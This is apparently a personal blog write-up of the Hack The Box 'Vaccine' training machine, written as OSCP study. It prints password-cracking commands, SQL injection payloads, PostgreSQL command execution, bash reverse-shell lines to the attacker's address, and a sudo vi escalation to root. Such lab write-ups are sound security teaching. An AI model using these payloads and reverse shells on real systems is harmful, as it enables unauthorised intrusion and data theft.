Box 3: HTB - Vaccine

Victor Le
9 min readAug 28, 2021


This box has several problems with connectivity, but still very juicy 😊


As the previous boxes, I use simple Nmap command to start port scanning and reconnaisance. Maybe most of the boxes in "Starting Point" don’t need deep enumeration but Nmap. For explanation about nmap syntax and its parameter, I usually visit this site: and paste the whole command to query:

nmap -sV -n -vv -Pn -T4 -p- -A — open

The result has only 3 services for us to discover. Nmap scan reveals 3 open ports running, for FTP, SSH and Apache respectively.

PORT   STATE SERVICE REASON         VERSION21/tcp open  ftp     syn-ack ttl 63 vsftpd 3.0.322/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0)80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))

First of all, I considered the ftp credential i had grab from the box "Oopsie", haha! It sounds great and I can easily login to this FTP server, use command below and enter user+password when it prompts:


FTP login

After login, you can use command help to show all possible commands that can be used here. Then, let’s use command dir or ls -la to display all things contained. You will find the sole file called in the folder and use get command to download it to your Attacker machine.

FTP server navigating

Extraction of this compressed file failed as it’s password protected. Temporarily, I return to enumerate the web directories because we still have the port 80. However, with dirsearch, I aslo don’t find anything helpful exciting. "View page source" or BurpSuite to capture http traffic don’t help me grasp anything else helpful, too.

sudo python3 -u -e html,js,php,old,bak

dirsearch results

I’ve found nothing in the login page. Perhaps we need to extract the zipped file to fetch the credentails to log in again.

The Login page

I was actually stuck at this step and don’t know how to move forward, and I decided to read the walkthrough 😌. Using "John the Ripper" tool to crack the archive password make me a little confused. So I thought HackTheBox never uses brute-force tools, it’s my fault. To extract this archive, we need a utility from John "zip2john" to accomplish. Peruse this article for zip2john usage, and also other articles for more interesting things. Raj Chandel is my favorite author and thank him a lot.

Now John cannot directly crack this key, first, we will have to change its format, which can be done using "zip2john".

zip2john > crack.txt

Now let’s use John the Ripper to crack this hash with the famous wordlist rockyou.txt. Great! We have successfully cracked the passphrase used to create the key to be ''741852963''

john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt

There are 2 files compressed inside: style.css and index.php. The file stype.css seems to have no value, meanwhile, index.php has the credential we can make use of.


Looking at the PHP source code, we can find a login check. The input password is hashed and compared to the MD5 hash: 2cb42f8734ea607eefed3b70af13bbd3. Another way, you can use this online to identify hash type: Hash Identifier. With a simple hash string, we can use CrackStation to get the original text. With other complex hash types, we can use the tool called Hashcat. Hashcat is one of the world’s fastest and most advanced password recovery tool, syntax can be checked here.

hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
-m : Hash type/mode, value 0 is for MD5 identification
hash.txt : Our hash string
/usr/share/wordlists/rockyou.txt : Location of wordlist file, rockyou.txt is used here once again.

The password is cracked as qwerty789 .

Hash Identifier is also using using an online rainbow table.


Now let’s try to log in to the web page. It seems that there’s only one page "Dashboard" on this web server.

Admin Dashboard

I tried to enumerate much more with the credential fetched and dirb tool command. The result actually made me upset, nothing left or us to explore.

dirb /usr/share/wordlists/dirb/common.txt -u "admin:qwerty789"

At this point, we have 2 ways to exploit this website. You can use sqlmap to automate the process to determine if this webpage is vulnerable to SQL injections or not (Method 1). However, it’s better to try to perform SQL injections manually to gain a stronger knowledge of how injections work (Method 2).

Method 1: Automatic way (using sqlmap)

The page is found to host a Car Catalogue, and contains functionality to search for products. Searching for a term results in the following request.

The page takes in a GET request with the parameter search. This URL is supplied to sqlmap, in order to test for SQL injection vulnerabilities. The website uses cookies, which can be specified using --cookie.

On Firefox browser, right-click the page and select Inspect Element. Click the Storage tab and copy the PHP Session ID.


We can construct the Sqlmap query as follows:

sqlmap -u '' --cookie="PHPSESSID=3bunoafekqn7uoob66h4rbn57a"

GET parameter 'search' is vulnerable…

Sqlmap found the 'search' parameter to be vulnerable to multiple injections, and identified the backend DBMS to be PostgreSQL. Getting code execution in PostgreSQL is trivial using the --os-shell option.

sqlmap -u '' --cookie="PHPSESSID=3bunoafekqn7uoob66h4rbn57a" --os-shell

If this has not been working for you, then just shows error message: "unable to prompt for an interactive operating system shell via the back-end DBMS because stacked queries SQL injection is not supported". Let’s try the command below to flush any previous session information for the current target:

sqlmap -u '' --cookie="PHPSESSID=3bunoafekqn7uoob66h4rbn57a" --flush-session

After that, please try --os-shell again, you will get os-shell prompted:

Get os-shell

This can be used to execute a bash reverse shell connection. Of course, before you enter the following command, you must have a opening locally with sudo nc -lvnp 80.

bash -c 'bash -i >& /dev/tcp/<your IP address>/80 0>&1'

This above snippet runs a new interactive instance of bash (bash -i), on a TCP connection to the specified port on the specified host which is created for the duration of the bash process. Standard output &1 and standard error &2 are sent through this connection (>& /dev/tcp/HOST/PORT), and standard input &0 is read through this connection (0>&1 — this should be 0<&1 but 0>&1 works too). If you’re not clear on redirection and file descriptors in Bash environment, you can check it here.

Reverse shell connection is established!!

If you run the whoami command, you’ll see we are playing as the user postgres.

Method 2: Exploit manually using SQLi (recommended)

To determine if this webpage is vulnerable to SQL injections or not, try entering an ' into the search box → Hit enter.

Input ' to the search box

You should see a similar message: "ERROR: unterminated quoted string at or near "'" LINE 1: Select * from cars where name ilike '%'%' ^". This proves that SQL injections are possible. Through this, we may also guess the back-end SQL query structure. I highly recommend using for their free Web Training Academy. This will greatly enhance your skills when it comes to penetrating websites.

Next, we will guess the number of columns with some tricks. Using order by keyword in the injection, we can easily determine column number in the table.

a' order by 6 --

If we input "a' order by 6 --" to the search box, we will get the message: "ERROR: ORDER BY position 6 is not in select list LINE 1: Select * from cars where name ilike '%a' order by 6 --%' ^". This implies that the result doesn’t have 6 columns so it cannot be sorted by the column '6'.

a' order by 5 --

It works! Although visually it looks like 4 columns, there is likely an ID column that is not being displayed → We have 5 columns totally in this query. This is why we did the column enumaration first.

Next step, enter the following into the search bar:

a' UNION select 'ID','name','type','fuel','engine'; --

a' UNION select 'ID','name','type','fuel','engine'; --

This confirms that the first column data must be an integer. So this is the time when we get the DBMS version using SQLi:

a' union select '0',version(),'type','fuel','engine' --

a' union select '0',version(),'type','fuel','engine' --

The result retrieved is the same with one when we used Sqlmap, even more detailed. With DBMS information, I followed a guide for Postgres command execution here. To perform the RCE attack, you simply follow these steps:

1) [Optional] Drop the table you want to use if it already exists

a'; DROP TABLE IF EXISTS cmd_exec; --

2) Create the table you want to hold the command output

a'; CREATE TABLE cmd_exec(cmd_output text); --

3) Run the system command via the COPY FROM PROGRAM function

a'; COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ 0>&1"'; --

Reverse shell connection is done!
'whoami'; 'id' …

After reverse shell can be started, we easily navigate some directories on this web server. Note that the default document root for Apache is /var/www/ (before Ubuntu 14.04) or /var/www/html/ (Ubuntu 14.04 and later), we cd to this directory and find dashboard.php (Admin Dashboard). cat to view the file content:

I grabbed from the web server, we see the Postgres user credential in the connection string used to connect to the PostgreSQL database. Try using to connect SSH later.

username: postgres
password: P@s5w0rd!

Privilege Escalation

Let’s upgrade to a tty shell and continue enumeration. To get a tty interactive shell, we can use a simple Python command python3 -c "import pty; pty.spawn('/bin/bash')" or connect SSH directly with the credential looted ssh postgres@

Running sudo -l, we are able to see the privileges the user postgres can run.

Notice that we need the password to view the user’s sudo privileges. To have the shell prompt us for password input, we need a tty interactive shell. Unless you upgrade your shell to a tty, you will get the error "no tty present and no askpass program specified".

At the very bottom, we can see postgres can run the following:

sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf

From here, exit vim by entering either of the following:

Exit the 'vi' editor

All four of the above commands will tell vim to exit & spawn a new shell which should spawn us as the user rootshell.

Get 'root' successfully

With root privileges, you will easily find the "root.txt" flag in /root/. Let’s explore it by yourself cause I won’t post the flag here.


Finally, this is the end for the 3rd box on my journey to pursue OSCP certification. All feedback from you will help me complement the details much more when possible. It is a long road ahead for me 💪